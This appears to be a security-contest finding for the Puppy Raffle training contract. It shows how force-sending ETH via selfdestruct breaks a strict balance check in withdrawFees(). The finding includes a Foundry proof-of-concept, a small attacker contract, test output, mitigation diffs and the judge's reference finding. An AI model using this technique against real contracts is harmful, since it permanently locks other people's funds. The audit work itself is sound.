Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict Equality Check in `withdrawFees()` Allows Permanent DoS via Forced ETH

choco324

Description

The withdrawFees() function uses a strict equality check (==) to verify that no active raffle is in progress. However, an attacker can permanently break this function by force-sending a small amount of ETH to the contract via selfdestruct.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

The vulnerability exists because:

  1. ETH can be force-sent to any contract via selfdestruct(targetAddress) - the target cannot reject it

  2. After force-sending ETH: address(this).balance > totalFees

  3. The strict == check will always fail

  4. Accumulated fees become permanently locked

Even sending just 1 wei is enough to break the function forever.

Risk

Likelihood: Medium

  • Requires an attacker willing to spend gas on the attack

  • Attack cost is minimal (just deployment gas + 1 wei)

  • No special timing or conditions required

Impact: High

  • All accumulated fees are permanently locked

  • The feeAddress can never withdraw fees

  • Protocol loses all revenue from completed raffles

  • Only mitigation is deploying a new contract and migrating

Proof of Concept

The following test demonstrates how 1 wei permanently locks all fees:

function test_selfDestructBreaksWithdrawFees() public {
// 1. Four players enter the raffle
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
// 2. Fast forward and select winner (this accumulates fees)
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
// 3. Check fees accumulated (20% of 4 ETH = 0.8 ETH)
uint256 totalFees = puppyRaffle.totalFees();
console.log("Total fees accumulated:", totalFees);
console.log("Contract balance before attack:", address(puppyRaffle).balance);
​
// 4. Attacker force-sends 1 wei via selfdestruct
new SelfDestructAttacker{value: 1 wei}(address(puppyRaffle));
​
console.log("Contract balance after selfdestruct:", address(puppyRaffle).balance);
​
// 5. Now withdrawFees() will always revert
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
​
console.log("withdrawFees() is permanently broken!");
console.log("Fees locked forever:", totalFees);
}
​
contract SelfDestructAttacker {
constructor(address target) payable {
selfdestruct(payable(target));
}
}

Run with: forge test --mt test_selfDestructBreaksWithdrawFees -vvv

Output:

Total fees accumulated: 800000000000000000
Contract balance before attack: 800000000000000000
Contract balance after selfdestruct: 800000000000000001
withdrawFees() is permanently broken!
Fees locked forever: 800000000000000000

Recommended Mitigation

Replace the strict equality check with a comparison that accounts for potential extra ETH:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Note: This change alone may not be sufficient as the original check was intended to prevent withdrawal during an active raffle. A better approach would be to track active players explicitly:

+ uint256 public activePlayerCount;
​
function enterRaffle(address[] memory newPlayers) public payable {
// ... existing logic ...
+ activePlayerCount += newPlayers.length;
}
​
function refund(uint256 playerIndex) public {
// ... existing logic ...
+ activePlayerCount--;
}
​
function selectWinner() external {
// ... existing logic ...
+ activePlayerCount = 0;
}
​
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(activePlayerCount == 0, "PuppyRaffle: There are currently players active!");
// ... rest of function
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!